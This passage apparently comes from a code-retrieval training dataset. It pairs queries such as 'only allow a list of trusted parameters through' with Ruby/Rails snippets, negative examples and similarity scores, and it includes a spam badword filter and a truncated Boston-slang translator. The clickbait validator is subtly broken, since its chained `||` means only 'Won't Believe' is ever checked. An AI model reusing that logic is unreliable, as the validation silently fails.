"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Only allow a list of trusted parameters through.
|
def replay_params
params.require(:replay).permit(:description)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def allowed_params\n ALLOWED_PARAMS\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def param_whitelist\n [:role, :title]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def allow_params_authentication!; end",
"def whitelisted_args\n args.select &:allowed\n end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def filtered_parameters; end",
"def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def expected_permitted_parameter_names; end",
"def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def check_params; true; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def allowed?(*_)\n true\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end",
"def valid_params?; end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def url_allowlist=(_arg0); end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def list_params\n params.permit(:list_name)\n end",
"def valid_params_request?; end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def param_list(param_type, name, type, required, description = nil, allowed_values = [], hash = {})\n hash.merge!({allowable_values: {value_type: \"LIST\", values: allowed_values}})\n param(param_type, name, type, required, description, hash)\n end",
"def safelists; end",
"def authorize_own_lists\n authorize_lists current_user.lists\n end",
"def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end",
"def lists_params\n params.require(:list).permit(:name)\n\n end",
"def list_params\n params.require(:list).permit(:name, :user_id)\n end",
"def list_params\n params.require(:list).permit(:name, :description, :type, :privacy, :allow_edit, :rating, :votes_count, :user_id)\n end",
"def check_params\n true\n end",
"def authorize_own_or_shared_lists\n authorize_lists current_user.all_lists\n end",
"def user_pref_list_params\n\t\tparams.require(:user).permit(:preference_list)\n\tend",
"def may_contain!(*keys)\n self.allow_only_permitted = true\n self.permitted_keys = [*permitted_keys, *keys].uniq\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def whitelist; end",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.permit(:name)\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :list, :references)\n end",
"def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end",
"def whitelist_place_params\n params.require(:place).permit(:place_name, :unlock, :auth, :is_deep_checked, :parent_ADM4, :parent_ADM3, :parent_ADM2, :parent_ADM1, :parent_country, feature_code: [], same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def list_params\n params.require(:list).permit(:name).merge(user_id: current_user.id)\n end",
"def list_params\n params.fetch(:list, {}).permit(:user_id, :name, :active)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def permitted_params\n []\n end",
"def price_list_params\n params.fetch(:price_list, {}).permit(:name, :valid_from, :valid_to, :active,\n :all_warehouses, :all_users, :all_contact_groups,\n warehouse_ids: [], price_lists_user_ids: [], contact_group_ids: [])\n end",
"def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end",
"def params(list)\n @declared_params = list\n end",
"def saved_list_params\n params.require(:saved_list).permit(:user_id)\n end",
"def allow(ids); end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def filter_params(param_set, **kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def validate_paramified_params\n self.class.paramify_methods.each do |method|\n params = send(method)\n transfer_errors_from(params, TermMapper.scope(params.group)) if !params.valid?\n end\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end",
"def refine_permitted_params(param_list)\n res = param_list.dup\n\n ms_keys = res.select { |a| columns_hash[a.to_s]&.array }\n ms_keys.each do |k|\n res.delete(k)\n res << { k => [] }\n end\n\n res\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :description, recipient_id_array: [])\n end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def safelist; end",
"def valid_for_params_auth?; end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def shopping_list_params\n params.require(:shopping_list).permit!\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def permitters\n @_parametrizr_permitters || {}\n end",
"def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end",
"def list_params\n if current_user && current_user.role == 'admin'\n params.require(:list).permit(:name, :url, :description, :user_id,\n ideas_attributes: [:id, :list_id, :body, :due_date, :completion_status, :_destroy])\n else\n params.require(:list).permit(:name, :description,\n ideas_attributes: [:body, :due_date, :completion_status]) \n end\n end",
"def whitelist(params)\n send_request_of_type(GlobalConstant::PrivateOpsApi.private_ops_api_type, 'post', '/token-sale/whitelist', params)\n end",
"def valid_access_params\n params.require(:valid_access).permit(:wish_list_id, :user_id)\n end",
"def url_allowlist; end",
"def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end",
"def data_collection_params\n allow = [:name,:description,:institution,:collection_name,:country_id,:province_id,:city_id]\n params.require(:data_collection).permit(allow)\n end",
"def quote_params\n params.permit!\n end"
] |
[
"0.69490993",
"0.6812977",
"0.6801889",
"0.67950445",
"0.6745037",
"0.6740698",
"0.65270424",
"0.6519444",
"0.6492448",
"0.6430671",
"0.6430671",
"0.6430671",
"0.63992614",
"0.6355569",
"0.6354901",
"0.63456345",
"0.63430274",
"0.63376623",
"0.6327184",
"0.6327184",
"0.6327184",
"0.6312343",
"0.6298636",
"0.6264699",
"0.62606114",
"0.6257774",
"0.62360454",
"0.6227809",
"0.62203985",
"0.6220124",
"0.6208926",
"0.6198754",
"0.61961126",
"0.61733264",
"0.61565864",
"0.6156045",
"0.61525464",
"0.6135898",
"0.6120792",
"0.61104727",
"0.6074026",
"0.60715514",
"0.6061967",
"0.6055065",
"0.6044363",
"0.60349673",
"0.60197556",
"0.60169685",
"0.60148275",
"0.6010643",
"0.60085577",
"0.6007718",
"0.6006462",
"0.6004975",
"0.6004975",
"0.599722",
"0.599272",
"0.5991751",
"0.59836066",
"0.5970689",
"0.59686905",
"0.5965213",
"0.59646696",
"0.59614",
"0.5960139",
"0.5933335",
"0.5928459",
"0.59223276",
"0.5907845",
"0.5903901",
"0.5903133",
"0.58924323",
"0.58886814",
"0.5880674",
"0.5880674",
"0.5880674",
"0.58724785",
"0.58617043",
"0.5853673",
"0.5843668",
"0.5842991",
"0.58351576",
"0.5831751",
"0.58289963",
"0.5827831",
"0.58164775",
"0.5814396",
"0.5814107",
"0.58099633",
"0.5802532",
"0.5802532",
"0.57996815",
"0.57947254",
"0.5784507",
"0.57802397",
"0.5776441",
"0.57747304",
"0.5767034",
"0.5766118",
"0.57619715",
"0.57567734"
] |
0.0
|
-1
|
CLICKBAIT_PHRASES = [/Won't Believe/i, /Secret/i, /Top \d/i, /Guess/i]
|
def clickbait
if title && !title.include?("Won't Believe"||"Secret"||"Top"||"Guess")
errors.add(:title, "This isn't clickbait!")
end
# if self.title.include?("Won't Believe" || "Secret" || "Top" || "Guess")
# errors.add(:title, "This is clickbait.")
# end
# if CLICKBAIT_PHRASES.present? {|p| self.title.include?(p)}.nil?
# errors.add(:title, "This is clickbait.")
# end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def answers\n %w{Yes No Maybe Ask\\ again\\ later}\nend",
"def catch_phrase\n [\n [\"ninja\",\"master\",\"student\"].rand, \n [\"\", \"\", \"\", \"\", \"\", \"\", \"weapons\", \"s' 3rd annual\",\"s' 5th annual\",\"s' 10th annual\", \"s' secret\"].rand,\n [\"gathering\",\"celebration\",\"meeting\",\"tournament\",\"competition\",\"party\",\"training camp\",\"sparring event\"].rand,\n [\"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"with Leonardo\", \"with Raphael\", \"with Michaelangelo\", \"with Donatello\"].rand\n ].join(' ').gsub(/ s\\'/,'s\\'').gsub(/\\s\\s/,' ').strip\n end",
"def all_phrases\n mario\n toadstool\n link\nend",
"def all_phrases\n mario\n toadstool\n link\nend",
"def catch_phrase\n translate('faker.company.buzzwords').collect { |list| sample(list) }.join(' ')\n end",
"def phrase_select\n PHRASES.sample\n end",
"def catch_phrase\n translate('faker.company.buzzwords').collect {|list| list.sample }.join(' ')\n end",
"def does_not_include_badwords\n\n badwords = %w(\n aloha!\n href=\n -online\n 1freewebspace.com\n 4u\n 5gighost.com\n accutane\n adipex\n adultsex\n advicer\n alprazolam\n amoxil\n arcadepages\n arimidex\n associations.missouristate.edu\n ativan\n augmentin\n baccarrat\n baclofen\n beaver\n blackjack\n bllogspot\n blogs.blackmarble.co.uk\n blowjob\n booker\n buspar\n byob\n car-rental-e-site\n car-rentals-e-site\n carisoprodol\n casino\n casinos\n chatroom\n cialis\n cipro\n citalopram\n clomid\n clonazepam\n comment1\n comment2\n comment3\n comment4\n comment5\n comment6\n coolcoolhu\n coolhu\n credit-card-debt\n credit-report-4u\n creditonlinepersonalloans\n cwas\n cyclen\n cyclobenzaprine\n dating-e-site\n day-trading\n debt-consolidation\n debt-consolidation-consultant\n diazepam\n diovan\n discreetordering\n dostinex\n duty-free\n dutyfree\n dvxuser.com\n equityloans\n fanreach.com\n fioricet\n flagyl\n flowers-leading-site\n fosamax\n freenet\n freenet-shopping\n gambling-\n hair-loss\n health-insurancedeals-4u\n hi5.com\n holdem\n holdempoker\n holdemsoftware\n holdemtexasturbowilson\n homeequityloans\n homefinance\n hotel-dealse-site\n hotele-site\n hotelse-site\n hydrocodone\n hyves.mn\n incest\n insurance-quotesdeals-4u\n insurancedeals-4u\n isuzuforums.com\n jestmaster\n jizz\n jrcreations\n kaboodle.com\n kamagra\n klonopin\n lamictal\n lesbian\n levaquin\n levitra\n lezbian\n loans\n lorazepam\n lycos\n macinstruct\n metformin\n metronidazole\n mortgage-4-u\n mortgagequotes\n musicstation\n nojazzfest\n nolvadex\n online-gambling\n onlinegambling-4u\n ottawavalleyag\n ownsthis\n palm-texas-holdem-game\n paxil\n paydal\n penguinforum\n penis\n personalloansbad\n pharmacy\n phenergan\n phentermine\n poker-chip\n porn\n poze\n profiles.friendster.com\n propecia\n proscar\n pussy\n remeron\n rental-car-e-site\n ringtone\n ringtones\n roulette\n shemale\n shoes\n slot-machine\n Staphcillin\n tamiflu\n tegretol\n texas-holdem\n thorcarlson\n top-e-site\n top-site\n toprol\n toradol\n tramadol\n tramodal\n tramodol\n trim-spa\n ultram\n valeofglamorganconservatives\n valium\n viagra\n vibramycin\n vicodin\n vioxx\n voltaren\n vytorin\n xanax\n zantac\n zithromax\n zofran\n zolpidem\n zolus\n )\n badwords.each do |bw|\n if !comment.nil? && comment.downcase.include?(bw) \n errors.add_to_base(\"Comment Rejected\") \n break\n end\n end\n end",
"def catch_phrase\n [\n [\"Фирма1\", \"Суперфирма\", \"Фирма3\", \"ПанСамСклепав\"].rand,\n [\"24 часа\", \"24/7\", \"круглосуточно\", \"3 года на рынке\"].rand,\n [\"доступно\", \"быстро\", \"надежно\"].rand\n ].join(' ')\n end",
"def as_you_like_it_quote\n sample(as_you_like_it)\n end",
"def translator\n # Greet your user in the language of their people.\n puts [\"SUP KID? \",\n \t \"What didja say? \",\n \t \"How ya doan? \",\n \t \"How ahrya?\",\n \t \"How 'bout them Sox? \",\n \t \"How 'bout them Pats? \"].sample\n\n # Get their response and lop off the carriage return, Massachusetts Left style.\n phrase = gets.chomp.to_s\n\n # Now we're going to award the user points based on density of Boston-specific\n # diction, aka their Beantown Points(tm).\n i = 0\n beantown_points = 0\n wicked_boston_words = [\"bubblah\",\n \"wicked\",\n \"reveah\",\n \"the dot\",\n \"medfid\",\n \"broons\",\n \"barrel\",\n \"digga\",\n \"southie\",\n \"eastie\",\n \"rotary\",\n \"pissah\",\n \"jp\",\n \"fried\",\n \"directional\",\n \"beantown\",\n \"red sox\",\n \"common\",\n \"dunkin donuts\",\n \"patriots\",\n \"celtics\",\n \"green monster\",\n \"dirty watah\",\n \"packie\"\n ]\n\n searchable_phrase = phrase.downcase\n\n wicked_boston_words.each do |i|\n \tif searchable_phrase.include?(i)\n \t\tbeantown_points += 1\n \tend\n end\n\n ########################################################################################################\n # A-Z dictionary of specific gsubs for targeted replacement. This is about to get wicked awesome, bro! #\n ########################################################################################################\n\n # A\n phrase.gsub!(/\\bacross the rivah?\\b/i, 'on the other side of the Charles River') # across the rivah (other side of the charles)\n phrase.gsub!(/\\b(a)dvahtisin'?g?\\b/i, '\\1dvertising') # advahtisin'(g)\n phrase.gsub!(/\\b(a)dvisah?\\b/i, '\\1dviser') # advisah\n phrase.gsub!(/\\b(a)doah\\b/i, '\\1dore') # adoah\n phrase.gsub!(/(a)ftah/i, '\\1fter') # aftah (aftahwahds, raftah, & other containing words)\n phrase.gsub!(/\\bah(h)?(?=\\s[a-z]+in('|g))?\\b/i, 'are') # ah (usually \"are\" if a word ending in \"ing is after\")\n phrase.gsub!(/\\b(the)? Ahbs\\b/i, '\\1 Arboretum') # the ahbs is a fun place to hang out\n phrase.gsub!(/\\b(a)hm\\b/i, '\\1rm') # curt schilling's gotta good ahm\n phrase.gsub!(/(f|w|h|al|ch|fore)ahm(s?)/i, '\\1arm\\2') # ahm at the end of words\n phrase.gsub!(/\\bahr\\b/i, 'are') # ahr\n phrase.gsub!(/\\bahrya\\b/i, 'are you') # how ahrya?!\n phrase.gsub!(/\\b(a)hnt\\b/i, '\\1unt') # ya ahnt is comin' to Christmas\n phrase.gsub!(/\\ball set\\b/i, 'all done') # all set with my dinnah, thank you\n phrase.gsub!(/\\bAllston Christmas\\b/i, 'The last weekend in August when all the students move out and leave their furniture behind in Allston') # Gonna need a biggah cah\n phrase.gsub!(/\\b(a)mbassad(oah|ah)(s)/i, '\\1ambassad\\2\\3') # ambassadoah/dah\n\n # B\n phrase.gsub!(/\\b(b)ah\\b/i, '\\1ar') # bah (let's get a beeah at the bah)\n phrase.gsub!(/\\b(cross|crow|de|dis|draw|handle|iso|sand|side)bah(s)\\b/i, '\\1bar\\2') # \"bah\" (words ending in bah)\n phrase.gsub!(/\\bbahnie\\b/i, 'smart geek') # bahnie\n phrase.gsub!(/\\bbang a left\\b/i, 'take a left') # bang a left...but do it before the oncoming turns green!\n phrase.gsub!(/\\b(b)ankin/i, 'hillside') # watch the game from the bankin\n phrase.gsub!(/\\bbarrel/i, 'trash can') # throw that yankees jersey in the barrel\n phrase.gsub!(/\\bbazo\\b/i, 'drunk') # bazo on the weekendddd\n phrase.gsub!(/\\bbeantown\\b/i, 'Boston') # beantown\n phrase.gsub!(/\\b(b)eeah(s)?\\b/i, '\\1eer') # lemme buy ya a beeah (sam adams please)\n phrase.gsub!(/\\b(b)ettah\\b/i, '\\1etter') # bettah (than you)\n phrase.gsub!(/\\bbig(-|\\s)ball bowling?/i, '10-pin bowling') # big ball bowlin'\n phrase.gsub!(/\\bBig Dig\\b/i, 'the most expensive highway project in U.S. History') # the big dig, depress that central ahtery\n phrase.gsub!(/\\bb(ill-)?ricka/i, 'Billerica') # Billerica\n phrase.gsub!(/\\bboahded\\b/i, 'dibs') # boahded\n phrase.gsub!(/\\bbobos\\b/i, 'boat shoes') # bobos\n phrase.gsub!(/\\bBostonian\\b/i, 'resident of Boston') # Bostonian\n phrase.gsub!(/\\bbook(ed|in)? outta theah\\b/i, 'took off') # bookin' it\n phrase.gsub!(/\\b(b)r(a|u)h\\b/i, '\\1ro') # brah/bruh\n phrase.gsub!(/\\bbrahmin\\b/i, 'WASP-y type') # Brahmin\n phrase.gsub!(/\\bbreakdown lane\\b/i, 'highway shoulder') # breakdown lane at rush hoah, jeez\n phrase.gsub!(/\\bBroons\\b/i, 'Bruins') # Da Broons!\n phrase.gsub!(/\\bbubblah\\b/i, 'water fountain') # bubblah\n\n # C\n phrase.gsub!(/\\b(c)ahds\\b/i, '\\1ards') # cahds\n phrase.gsub!(/\\b(c|ced|chedd|sc|sidec|tramc|supahc|vic)ah(s)?\\b/i, '\\1ar\\2') # cah(s) and 6 containing words that are most common.\n phrase.gsub!(/\\b(c)alendah(s)?\\b/i, '\\1alendar\\2') # calendah (the sawx got theyah openin' day on theah!)\n phrase.gsub!(/\\bcalm ya liva(a|h)?/i, 'relax') # calm ya livah, I didn't eat ya dinnah\n phrase.gsub!(/\\b(c)an't get\\b/i, '\\1an get') # can't get (no satifaction...but plenty of double negatives up for grabs, so)\n phrase.gsub!(/\\bThe Cape\\b/i, 'Cape Code, Massachusetts') # goin' to the Cape this summah\n phrase.gsub!(/\\bcarriage\\b/i, 'grocery cart') # carriage (for ya lobstahs and beeahs)\n phrase.gsub!(/\\b(c)awna\\b/i, '\\1orner') # coolidge cawna\n phrase.gsub!(/\\b(c)ella(h)\\b?/i, 'basement') # go down cella\n phrase.gsub!(/\\b(c)howdah\\b/i, '\\1howder') # chowdah (clam or lobstah, take ya pick at sullivan's!)\n phrase.gsub!(/\\b(coffee|small|medium|lahge) regulah\\b/i, 'coffee with cream and two sugars') # coffee, regulah\n phrase.gsub!(/\\bCochihchewit\\b/i, 'Cochituate') # Co-CHIH-chew-it\n phrase.gsub!(/\\b(c)onsidah\\b/i, '\\1onsider') # considah\n phrase.gsub!(/\\b(c)orridoah(s)\\b/i, '\\1orridor\\2') # corridor\n phrase.gsub!(/\\b(c)umbie(s|'s)/i, 'Cumberland Farms Mini-Mart') # cumbie's\n\n # D\n phrase.gsub!(/\\b(Mon|Tues|Wed|Thurs|Fri|Sun)diz/i, '\\1days') # plural days of the week, less Saturday which can have a couple pronunciations\n phrase.gsub!(/\\b(d)ecoah\\b/i, '\\1ecor') # decoah (in ya apahtment!) -- most frequently used word ending in \"cor\"\n phrase.gsub!(/\\bdecked\\b/i, 'punched') # he got decked at the sox game\n phrase.gsub!(/\\bdecked\\sout\\b/i, 'dressed up') # he's all decked out for his date!\n phrase.gsub!(/\\b(d)idja\\b/i, '\\1id you') # didja\n phrase.gsub!(/\\bdirty watah\\b/i, 'the Charles River') # love that dirty watah\n phrase.gsub!(/\\bdiggah?\\b/i, 'fall') # fell on some ice and took a diggah\n phrase.gsub!(/\\b(d|fl|ind|p|outd)oah\\b/i, '\\1oor') # oah words ending in oor\n phrase.gsub!(/\\b(direc|doc)tah\\b/i, '\\1tor') # doctah/directah\n phrase.gsub!(/\\bdirectional\\b/i, 'turn signal') # put on ya directional before you take turn\n phrase.gsub!(/\\bDot Ave\\b/i, 'Dorchester Avenue') # Dot Ave\n phrase.gsub!(/\\bDot Rat(s)?/i, 'resident\\1 of Dorchester') # Dot Rats\n phrase.gsub!(/\\bthe Dot\\b/i, 'Dorchester') # the dot\n phrase.gsub!(/\\bdunki(n'?s'?|n|es)(\\sdonuts)?\\b/i, 'Dunkin\\' Donuts') # dunkies, dunkins, dunkin, dunkin's, & dunkin's!\n phrase.gsub!(/\\bdrawring\\b/i, 'drawing') # drawring\n\n # E\n phrase.gsub!(/\\bEastie\\b/i, 'East Boston') # Eastie\n phrase.gsub!(/\\belastic(s)?\\b/i, 'rubber band\\1') # elastics\n phrase.gsub!(/(e)ntah\\b/i, '\\1nter') # entah (come in heah!)\n phrase.gsub!(/\\b(e)ntiah\\b/i, 'entire') # entiah (I've lived in Boston my entiah life)\n phrase.gsub!(/(n)?(e)vah\\b/i, '\\1\\2ver') # evah (or forevahevah! or nevah. that too.)\n\n # F\n phrase.gsub!(/\\bfahr\\b/i, 'for') # fahr (ready fahr spring after this wintah!)\n phrase.gsub!(/\\bfactah\\b/i, 'factor') # factah\n phrase.gsub!(/\\b(af|insof|ovahf|f)ah\\b/i, '\\1ar') # fah (neah, fah, wheahevah you ahhhhh)\n phrase.gsub!(/(f)ahkin'?/i, '\\1*!king') # I mean, it's not very polite but you have to admit it is a distinctive part of a true Boston accent!\n phrase.gsub!(/(f)ahk?/i, '\\1*!k') # I mean, it's not very polite but you have to admit it is a distinctive part of a true Boston accent!\n phrase.gsub!(/\\b(airf|cahf|thoughroughf|welf|wahf|f)ayah\\b/i, '\\1are') # fayah (wahfayah, aihfayah)\n phrase.gsub!(/\\bfawr\\b/i, 'for') # fawr\n phrase.gsub!(/(af|bef|f)oah\\b/i, '\\1ore') # foah (fore & variants)\n phrase.gsub!(/\\bfoddy\\b/i, 'fourty') # foddy\n phrase.gsub!(/\\bfrappe\\b/i, 'a milkshake/malted (ice cream, milk, & syrup blended)') # frappe\n phrase.gsub!(/\\b(frickin|friggin)'?(?!\\z|\\s)/i, 'freaking') # the G-rated version of Boston's favorite adjective\n phrase.gsub!(/\\bfried\\b/i, 'weird') # fried\n phrase.gsub!(/\\bFudgicle\\b/i, 'Fudgsicle') # a fudgsicle that lost the \"s\"\n\n # G\n phrase.gsub!(/\\b(g)ahbidge\\b/i, '\\1arbage') # Wednesdiz is gahbidge day\n phrase.gsub!(/\\b(gawrls|gahls|gawhls)/i, 'girls') # gawrls just wanna...learn to code and change the girl to dave ratio, actually.\n phrase.gsub!(/(g)awd\\b/i, '\\1od') # oh my gawd\n phrase.gsub!(/\\b(g)ovahment\\b/i, '\\1overnment') # Govahment Centah! It's wheah Boston Cawllin' always is!\n phrase.gsub!(/\\b(ci|beg|vul|sug|vine)gah(s)?\\b/i, '\\1gar\\2') # gah --> sugah, cigah, etc.\n phrase.gsub!(/\\b(g)oah\\b/i, '\\1ore') # goah (Melissa-Leigh Goah, like Al Goah, he invented the intahnet)\n phrase.gsub!(/\\bg(o|a)tta\\b/i, 'have to') # gotta\n phrase.gsub!(/\\b(g)rammah\\b/i, '\\1rammar') # grammah\n phrase.gsub!(/\\bgrindah?(s)?\\b/i, 'sub\\1') # grindahs\n phrase.gsub!(/\\b(g)uitah\\b/i, '\\1uitar') # guitah (what's that game the kids ah playin? guitah hero?!)\n\n # H\n phrase.gsub!(/\\b(Hahvahd|Havahd|Havid|Hahvid)/i, 'Harvard') # Let's go to Hahvid and sit outside the Widenah Library\n phrase.gsub!(/\\b(hang|hook) a right\\b/i, 'take a right') # hang/hook a right\n phrase.gsub!(/\\bhamburg\\b/i, 'ground beef') # my grammy's go to dinnah was hamburg thingies..aka ground beef patties with mustard cooked on one side of a hamburger bun (this is an actual true story from the writer of this program, haha)\n phrase.gsub!(/\\b(heahd|heid)\\b/i, 'heard') # ya nevah heahd about that?\n phrase.gsub!(/heah/i, 'here') # heah, wheah, theah (wait, who's on first?!) -- this matches on at least 300 english words containing 